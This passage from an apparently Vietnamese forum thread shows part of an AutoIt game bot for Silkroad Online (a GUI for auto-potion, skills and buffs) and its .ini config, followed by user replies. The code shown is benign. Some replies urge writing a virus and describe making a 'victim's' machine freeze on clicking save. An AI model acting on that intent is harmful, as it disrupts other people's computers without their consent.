&"+ Some time, autoPot get error with change from window mode to full screen, you only can use auto pot and can't be use auto attack, this time you must reset autoPot or/and reset SRO" & @CRLF _
&"+ And, this application use hook keyboard to send key to SRO, and when time of attack skill and buff skill run out, it will send key to SRO, so it is not intelligent enough for re-use skill when it miss or not try to send key to chat window, so please set the time of skill pass by 2 second and try not chat when buff or skill is in use" & @CRLF _
&"+ And the last one, skill which is just use one time, it still avalble when you set it to the first skill list, it will do what you want ;)" & @CRLF _
& @CRLF _
&"==== Hope you all fun with SRO ====" & @CRLF _
&"Author: Truong Son <teentitan1986@gmail.com>"

; Make GUI:
Local $gui_tab = GUICtrlCreateTab(5,5,310,300)

; --------------------------------------------------------------------------
; Tab AutoPot
; --------------------------------------------------------------------------
Local $gui_tab_autoPot = GUICtrlCreateTabItem("Auto Pot")

$row_y = 35
$gui_label_gp[0] = GuiCtrlCreateLabel("Auto use HP pot:", 20, $row_y)
$row_y += 20
Local $gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_HP_key = GuiCtrlCreateCombo("", 50, $row_y,60)
Local $gui_input_HP_deg = GuiCtrlCreateInput($HPdeg, 120, $row_y, 40)
Local $gui_updown_HP_deg = GUICtrlCreateUpDown($gui_input_HP_deg)
$gui_label = GuiCtrlCreateLabel("%", 170, $row_y, 10)
$row_y += 30
$gui_label_gp[1] = GuiCtrlCreateLabel("Auto use MP pot:", 20, $row_y)
$row_y += 20
$gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_MP_key = GuiCtrlCreateCombo("", 50, $row_y, 60)
Local $gui_input_MP_deg = GuiCtrlCreateInput($MPdeg, 120, $row_y, 40)
Local $gui_updown_MP_deg = GUICtrlCreateUpDown($gui_input_MP_deg)
$gui_label = GuiCtrlCreateLabel("%", 170, $row_y, 10)
$row_y += 25
Local $gui_check_Pill = GuiCtrlCreateCheckbox("Auto use Pill:", 20, $row_y,210)
$row_y += 25
$gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_Pill_key = GuiCtrlCreateCombo("", 50, $row_y, 60)
$row_y += 30
Local $gui_check_autoLoot = GuiCtrlCreateCheckbox("Auto loot (pick up) item", 20, $row_y)
$row_y += 30
Local $gui_check_Heal = GuiCtrlCreateCheckbox("Auto use skill to restore HP", 20, $row_y)
$row_y += 25
$gui_label = GuiCtrlCreateLabel("Key:", 20, $row_y)
Local $gui_combo_Heal_key = GuiCtrlCreateCombo("", 50, $row_y, 60)
Local $gui_input_Heal_deg = GuiCtrlCreateInput($HPdegHeal, 120, $row_y, 40)
Local $gui_updown_MP_deg = GUICtrlCreateUpDown($gui_input_Heal_deg)
$gui_label = GuiCtrlCreateLabel("%", 170, $row_y, 10)

; --------------------------------------------------------------------------
; Tab AutoSkill
; --------------------------------------------------------------------------
Local $gui_tab_autoSkill = GUICtrlCreateTabItem("Auto Skill")

$row_y = 35
$gui_label_gp[2] = GuiCtrlCreateLabel("Auto use skill attack:", 20, $row_y)
$row_y += 20
$gui_label_gp[3] = GuiCtrlCreateLabel("Skill attack list:", 20, $row_y)
$gui_label_gp[4] = GuiCtrlCreateLabel("Waiting time: (0 = just use 1 time)", 150, $row_y)
For $i=0 To $att_nums-1
$row_y += 30
Local $gui_label = GuiCtrlCreateLabel("Skill " & ($i+1), 20, $row_y)
$gui_combo_skill_key[$i] = GuiCtrlCreateCombo("", 70, $row_y, 60)
$gui_input_skill_delay[$i] = GuiCtrlCreateInput($att_skill[$i][1], 160, $row_y, 60)
$gui_updown_skill[$i] = GUICtrlCreateUpDown($gui_input_skill_delay[$i])
$gui_label_gp[5] = GuiCtrlCreateLabel("ms", 230, $row_y)
Next

; --------------------------------------------------------------------------
; Tab AutoBuff
; --------------------------------------------------------------------------
Local $gui_tab_autoBuff = GUICtrlCreateTabItem("Auto Buff")

$row_y = 30
Local $gui_check_autobuff = GUICtrlCreateCheckbox("Auto use skill buff:", 20, $row_y)
$row_y += 25
$gui_label_gp[6] = GuiCtrlCreateLabel("Skill buff list:", 20, $row_y,160)
$gui_label_gp[7] = GuiCtrlCreateLabel("Waiting time: (0 = just use 1 time)", 150, $row_y)
For $i=0 To $buff_nums-1
$row_y += 30
Local $gui_label = GuiCtrlCreateLabel("Skill " & ($i+1), 20, $row_y)
$gui_combo_buff_key[$i] = GuiCtrlCreateCombo("", 70, $row_y, 60)
$gui_input_buff_delay[$i] = GuiCtrlCreateInput($buff_skill[$i][1], 160, $row_y, 60)
$gui_updown_buff[$i] = GUICtrlCreateUpDown($gui_input_buff_delay[$i])
$gui_label_gp[8] = GuiCtrlCreateLabel("seconds", 230, $row_y)
Next

; --------------------------------------------------------------------------
; Tab Help
; --------------------------------------------------------------------------
Local $gui_tab_Help = GUICtrlCreateTabItem("Help")

Local $gui_edit_help = GUICtrlCreateEdit($gui_help_text, 20, 40, 280, 250, $ES_READONLY + $WS_VSCROLL)

; --------------------------------------------------------------------------
; End Tabs
; --------------------------------------------------------------------------
Local $gui_tab_end = GUICtrlCreateTabItem("")

; --------------------------------------------------------------------------
; Buttons
; --------------------------------------------------------------------------
Local $gui_butt_save = GUICtrlCreateButton("Save",20,310,70,35)
Local $gui_butt_exit = GUICtrlCreateButton("Exit",220,310,70,35)

#cs
; Set font -----------------------------------------------------------------
; who need to set font when use english ?
For $i=0 To UBound($gui_label_gp)-1
GUICtrlSetFont($gui_label_gp[$i], 6, 400, 0, "VK Sans Serif")
Next
GUICtrlSetFont($gui_check_Pill, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_check_autoLoot, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_check_Heal, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_check_autobuff, 6, 400, 0, "VK Sans Serif")
GUICtrlSetFont($gui_edit_help, 6, 400, 0, "VK Sans Serif")
#ce

; System config value ------------------------------------------------------
$state_temp = _Iif($auto_loot == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_autoLoot,$state_temp)
$state_temp = _Iif($auto_pill == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_Pill,$state_temp)
$state_temp = _Iif($auto_heal == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_Heal,$state_temp)
$state_temp = _Iif($auto_buff == true,$GUI_CHECKED,$GUI_UNCHECKED)
GUICtrlSetState($gui_check_autobuff,$state_temp)

GUICtrlSetData($gui_combo_HP_key,$short_key_2,$keyHP)
GUICtrlSetData($gui_combo_MP_key,$short_key_2,$keyMP)
GUICtrlSetData($gui_combo_Pill_key,$short_key_2,$keyPill)
GUICtrlSetData($gui_combo_Heal_key,$short_key_2,$keyHeal)

For $i=0 To $att_nums-1
GUICtrlSetData($gui_combo_skill_key[$i],$short_key_2,$att_skill[$i][0])
Next
For $i=0 To $buff_nums-1
GUICtrlSetData($gui_combo_buff_key[$i],$short_key,$buff_skill[$i][0])
Next

GuiSetState(@SW_SHOW)

While (1)

$msg = GUIGetMsg()
Select
Case $msg = $gui_butt_save
$auto_loot = (GUICtrlRead($gui_check_autoloot) = $GUI_CHECKED)
$auto_pill = (GUICtrlRead($gui_check_Pill) = $GUI_CHECKED)
$auto_heal = (GUICtrlRead($gui_check_Heal) = $GUI_CHECKED)
$auto_buff = (GUICtrlRead($gui_check_autobuff) = $GUI_CHECKED)
$auto_heal = (GUICtrlRead($gui_check_Heal) = $GUI_CHECKED)
$keyHP = GUICtrlRead($gui_combo_HP_key)
$keyMP = GUICtrlRead($gui_combo_MP_key)
$keyPill = GUICtrlRead($gui_combo_Pill_key)
$keyHeal = GUICtrlRead($gui_combo_Heal_key)
$HPdeg = GUICtrlRead($gui_input_HP_deg)
$MPdeg = GUICtrlRead($gui_input_MP_deg)
$HPdegHeal = GUICtrlRead($gui_input_Heal_deg)

For $i=0 To $att_nums-1
$att_skill[$i][0] = GUICtrlRead($gui_combo_skill_key[$i])
$att_skill[$i][1] = GUICtrlRead($gui_input_skill_delay[$i])
Next

For $i=0 To $buff_nums-1
$buff_skill[$i][0] = GUICtrlRead($gui_combo_buff_key[$i])
$buff_skill[$i][1] = GUICtrlRead($gui_input_buff_delay[$i])
Next

For $i=0 To ($att_nums - 1)
$att_skill[$i][4] = TimerInit()
$att_skill[$i][2] = 1
Next

For $i=0 To ($buff_nums - 1)
$buff_skill[$i][4] = TimerInit()
$buff_skill[$i][2] = 1
Next

writeIni()
Case $msg = $GUI_EVENT_CLOSE
ExitLoop
Case $msg = $gui_butt_exit
terminateIt()
EndSelect

mainLoop()
WEnd
GUIDelete()
;$gui_avail = False
; Exit 0
EndFunc

cái nè cho vào notepad save dưới đuôi .ini nè
[AutoPot]
AutoLoot=False
AutoPill=False
AutoHeal=False
HPkey=none
MPkey=none
Pillkey=none
HPkeyHeal=none
HPdegree=30
MPdegree=30
HPdegreeHeal=20
[AutoSkill]
AutoBuff=True
skill_Att_Key0=1
skill_Att_Key1=2
skill_Att_Key2=3
skill_Att_Key3=4
skill_Att_Key4=5
skill_Att_Key5=none
skill_Att_Key6=none
skill_Buff_Key0=F2-1
skill_Buff_Key1=F2-2
skill_Buff_Key2=F2-3
skill_Buff_Key3=F2-4
skill_Buff_Key4=F2-5
skill_Buff_Key5=none
skill_Buff_Key6=none
skill_Att_Delay0=5
skill_Att_Delay1=5
skill_Att_Delay2=5
skill_Att_Delay3=5
skill_Att_Delay4=5
skill_Att_Delay5=5
skill_Att_Delay6=5
skill_Buff_Delay0=600
skill_Buff_Delay1=610
skill_Buff_Delay2=615
skill_Buff_Delay3=620
skill_Buff_Delay4=625
skill_Buff_Delay5=60
skill_Buff_Delay6=60

cái này có tác dụng ji' thế :beauty::beauty::beauty::beauty:

ressit
05-05-2008, 10:31 PM
tất cả chỉ là ngụy biện
hãy viết vi rút :2T-ghost- (10):
chắc châm ngôn bạn là thế

ressit
05-05-2008, 10:32 PM
cái đấy là 1 bản auto cũ đc viết bằng autoit đấy bạn

dtphong1603
05-05-2008, 10:56 PM
tác dụng của con đuôi .ini là ji' vậy

superman00
06-05-2008, 12:27 PM
hihi chưa bác nào đi tù à
mình thử xem cái đã:big_smile:

Test_aveugle
06-05-2008, 12:44 PM
hay nhỉ, cầu cho tụi tui đi tù àh, không tốt đâu nhá

superman00
06-05-2008, 12:53 PM
hjx sao làm ko thành công nhỉ
nạn nhân bấm save rồi đứng máy của victim thui à:beat_brick:
à muốn đưa đoạn code vừa làm lên dd thì làm sao nhỉ

Test_aveugle
06-05-2008, 01:00 PM
Nhắc lại đoạn code trên dùng để quảng cáo cho chính mình, không dùng để phá hoại.
Còn muốn đua đoạn code lên 4rum thì nhấn vào biểu tượng có chữ QUOTE kế bên mấy cái chỉnh kiểu chữ